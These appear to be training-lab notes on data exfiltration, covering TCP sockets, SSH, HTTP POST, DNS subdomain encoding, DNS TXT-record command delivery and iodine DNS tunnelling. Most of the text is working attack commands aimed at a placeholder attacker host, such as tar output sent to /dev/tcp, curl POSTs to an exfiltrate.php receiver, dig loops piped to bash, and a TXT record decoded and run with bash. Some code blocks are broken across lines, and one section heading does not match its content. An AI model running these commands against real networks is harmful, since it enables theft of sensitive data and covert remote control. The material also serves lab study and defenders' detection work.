Definition

Data Exfiltration is the process of taking an unauthorized copy of sensitive data and moving it from the inside of an organization's network to the outside. It is important to note that Data Exfiltration is a post-compromised process where a threat actor has already gained access to a network and performed various activities to get hands on sensitive data. Data Exfiltration often happens at the last stage of the Cyber Kill Chain model, Actions on Objectives.

Data Exfiltration Techniques

TCP Sockets

Definition

Using the TCP socket is one of the data exfiltration techniques that an attacker may use in a non-secured environment where they know there are no network-based security products. If we are in a well-secured environment, then this kind of exfiltration is not recommended. This exfiltration type is easy to detect because we rely on non-standard protocols.

Method

On the attacker machine we prepare a listener and store the incoming exfiltrated data under the tmp directory

```
nc -lvp 8080 > /tmp/sensitive-data
```

On the compromised machine we issue the below on the exfiltrated data

```
tar zcf - sensitive-data/ | base64 | dd
conv=ebcdic > /dev/tcp/attacker-ip/8080
```

1. We used the tar command to create an archive file with the zcf arguments of the content of the secret directory.
2. The z is for using gzip to compress the selected folder, the c is for creating a new archive, and the f is for using an archive file.
3. We then passed the created tar file to the base64 command for converting it to base64 representation.
4. Then, we passed the result of the base64 command to create and copy a backup file with the dd command using EBCDIC encoding data.

5. Finally, we redirect the dd command's output to transfer it using the TCP socket on the specified IP and port, which in this case, port 8080.

Now once we receive data on the attacher machine we issue the below to convert it back to ascii format and unzip it

```
dd conv=ascii if=/tmp/sensitive-data
|base64 -d > sensitive-data.tar

tar xvf sensitive-data.tar
```

SSH

Definition

SSH protocol establishes a secure channel to interact and move data between the client and server, so all transmission data is encrypted over the network or the Internet.

Method

On the compromised machine

```
tar cf - sensitive-data/ | ssh
attacker@attacker.com "cd /tmp/; tar xpf -
"
```

1. We used the tar command to create an archive file of the sensitive-data directory.
2. Then we passed the archived file over the ssh. SSH clients provide a way to execute a single command without having a full session.
3. We passed the command that must be executed in double quotations, "cd /tmp/; tar xpf. In this case, we change the directory and unarchive the passed file.

If the ssh server on your attacker machine works correctly you will receive the data on your attacking machine.

HTTP and HTTPS

Steps required using HTTP

1. An attacker sets up a web server with a data handler. In our case, such as `attacker.com` and a data handler. Data handler could be any page such as `exfiltrate.php` .

2. A C2 agent or an attacker sends the data. In our case, we will send data using the curl command.
3. The webserver receives the data and stores it. In our case, the contact.php receives the POST request and stores it into /tmp.
4. The attacker logs into the webserver to have a copy of the received data.

`exfiltrate.php` page contents can be like the below

```
<?php
if (isset($_POST['file'])) {
        $file =
fopen("/tmp/data.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
    }
?>
```

After the setup of the webserver is done correctly on the `attacker` machine we jump to the `victim` machine and issue the below command

```
curl --data "file=$(tar zcf - sensitive-
data | base64)"
```

```
http://attacker.com/exfiltrate.php
```

We used the curl command with `--data` argument to send a POST request via the file parameter. Note that we created an archived file of the secret folder using the tar command. We also converted the output of the tar command into base64 representation.

Now the data should have been transported to the attacker machine where we need to login and decode the base64 data and recover the correct form of the data

```
sudo sed -i 's/ /+/g' /tmp/data.bs64
cat /tmp/data.bs64 | base64 -d | tar xvfz
-
```

Using the `sed` command, we replaced the spaces with + characters to make it a valid base64 string! additionally we decoded the base64 string using the `base64` command with -d argument, then we passed the decoded file and unarchived it using the tar command

HTTP Tunneling

Definition

- The maximum length of the Fully Qualified FQDN domain name (including .separators) is 255 characters.
- The subdomain name (label) length must not exceed 63 characters (not including .com, .net, etc).

Manual DNS Data Exfiltration

Data Exfiltration

Exfiltration over DNS - The Methodology

1. An attacker registers a domain name, for example, `attacker.com`
2. The attacker sets up `attacker.com's` NS record points to a server that the attacker controls.
3. The malware or the attacker sends sensitive data from a victim machine to a domain name they control—for example, `data.attacker.com`, where **data** is the data that needs to be transferred.
4. The DNS request is sent through the local DNS server and is forwarded through the Internet.
5. The attacker's authoritative DNS (malicious server) receives the DNS request.

6. Finally, the attacker extracts the `data` from the domain name.

Steps after compromising the victim machine

1. Get the required data that needs to be transferred.
2. Encode the file using one of the encoding techniques.
3. Send the encoded characters as subdomain/labels.
4. Consider the limitations of the DNS protocol. Note that we can add as much data as we can to the domain name, but we must keep the whole URL under 255 characters, and each subdomain label can't exceed 63 characters. If we do exceed these limits, we split the data and send more DNS requests!

Putting steps into practical scenario

`From the attacker machine`

In order to receive any DNS request, we need to capture the network traffic for any incoming UDP/53 packets using the tcpdump tool.

```
sudo tcpdump -i eth0 udp port 53
```

`From the victim machine`

Lets say the data we want to exfiltrate is contained in a text file named `data.txt`. We encode it to base64

```
cat data.txt | base64
```

In the below command, we read the file's content and encoded it using Base64. Then, we cleaned the string by removing the new lines and gathered every 18 characters as a group. Finally, we appended the name server "attacker.com" for every group. Also we split every 18 characters with a dot "." and add the name server

```
cat data.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/attacker.com/
```

Lastly, we create and add the dig command to send it over the DNS, and finally, we passed it to the bash to be executed.

```
cat data.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/attacker.com/ | awk '{print "dig +short " $1}' | bash
```

Then we need to check the attacker machine tcpdump's terminal. We should have received the data there like below

```
sudo tcpdump -i eth0 udp port 53 -v

tcpdump: listening on eth0, link-type
EN10MB (Ethernet), capture size 262144
bytes

22:14:00.287440 IP (tos 0x0, ttl 64, id
60579, offset 0, flags [none], proto UDP
(17), length 104) 172.20.0.1.56092 >
attacker.domain: 19543% [1au] A?
_.pDb2RlOiAxMzM3Cg==.att.tunnel.com. (76)
22:14:00.288208 IP (tos 0x0, ttl 64, id
60580, offset 0, flags [none], proto UDP
(17), length 235) 172.20.0.1.36680 >
attacker.domain: 23460% [1au] A?
TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJ
bnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0
LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUv
MjAyMg.pDb2RlOiAxMzM3Cg==.attacker.com.
```

```
(207) 22:14:00.289643 IP (tos 0x0, ttl 64,
id 48564, offset 0, flags [DF], proto UDP
(17), length 69) attacker.52693 >
172.20.0.1.domain: 3567+ PTR?
1.0.20.172.in-addr.arpa. (41)
22:14:00.289941 IP (tos 0x0, ttl 64, id
60581, offset 0, flags [DF], proto UDP
(17), length 123) 172.20.0.1.domain >
attacker.52693: 3567 NXDomain* 0/1/0 (95)
```

After we have received the data in base64, we perform some cleaning and decode it

```
echo
"TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCB
JbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM
0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDU
vMjAyMg.pDb2RlOiAxMzM3Cg==.attacker.com."
| cut -d"." -f1-8 | tr -d "." | base64 -d
```

Commands Execution through C2 Communications

C2 frameworks use the DNS protocol for communication, such as sending a command

execution request and receiving execution results over the DNS protocol. They also use the TXT DNS record to run a dropper to download extra files on a victim machine. This section simulates how to execute a bash script over the DNS protocol.

For example, let's say we have a script that needs to be executed in a victim machine. First, we need to encode the script as a Base64 representation and then create a TXT DNS record of the domain name you control with the content of the encoded script.

Example script is below

```
#!/bin/bash
ping -c 1 attacker.com
```

`On the victim machine`

We encode the script to base64

```
cat /tmp/script.sh | base64
```

`On the attacker side`

Now that we have the Base64 representation of our script, we add it as a TXT DNS record to the domain we control, which in this case, `attacker.com`.

Once we added it, let's confirm that we successfully created the script's DNS record by asking the local DNS server to resolve the TXT record of `script.attacker.com`.

If everything is set up correctly, we should receive the base64 content of the script as an output to the below command

```
dig +short -t TXT script.attacker.com
```

`Lastly, On the attacker machine`

We clean the output before executing the script using tr and delete any double quotes ".

Then, we decoded the Base64 text representation using base64 -d and finally passed the content to the bash command to execute.

```
dig +short -t TXT script.attacker.com | tr -d "\"" | base64 -d | bash
```

DNS Tunneling

This technique is also known as TCP over DNS, where an attacker encapsulates other protocols, such as HTTP requests, over the DNS protocol using the DNS Data

Exfiltration technique. DNS Tunneling establishes a communication channel where data is sent and received continuously.

To establish DNS Tunnels we use a tool called #iodine

```
https://github.com/yarrick/iodine
```

DNS Tunneling Steps

`Note One`

For the purpose of exfiltrating data over dns tunnels follow step 1 and 2 and then you can perform the same steps used above in the manual data exfiltration `

`Note Two`

For the purpose of network pivoting and accessing resources and internal networks, follow all below steps

1. Run **iodined** server from the Attacker machine. (note for the **server** side we use iodine**d**)

`On the attacker machine`

```
sudo iodined -f -c -P dnstunneling
10.1.1.1/24 attack.attacker.com
```

Command explanation

- Ensure to execute the command with sudo. The iodined creates a new network interface (dns0) for the tunneling over the DNS.
- The -f argument is to run the server in the foreground.
- The -c argument is to skip checking the client IP address and port for each DNS request.
- The -P argument is to set a password for authentication.
- The 10.1.1.1/24 argument is to set the network IP for the new network interface (dns0). The IP address of the server will be 10.1.1.1 and the client 10.1.1.2.
- attack.attacker.com is the nameserver we set through configuring DNS settings on the attacker side

2. On Victim machine, run the iodine client to establish the connection. (note for the client side we use iodine - without **d)**

`On the victim machine`

We need to connect to the server-side application

```
sudo iodine -P dnstunneling
attack.attacker.com
```

3. SSH to the machine on the created network interface to create a proxy over DNS. We will be using the -D argument to create a dynamic port forwarding.

`On the attacker machine`

We use the -D argument for the dynamic port forwarding feature to use the SSH session as a proxy. Note that we used the -f argument to enforce ssh to go to the background. The -4 argument forces the ssh client to bind on IPv4 only

```
ssh thm@10.1.1.2 -4 -f -N -D 1080
```

```

```

5. Once an SSH connection is established, we can use the local IP and the local port as a proxy in Firefox or ProxyChains.

`On the attacker machine`

```
root@attacker$ proxychains curl
http://192.168.0.100/test.php
```

OR

```
root@attacker$ #OR root@attacker$ curl --
socks5 127.0.0.1:1080
http://192.168.0.100/test.php
```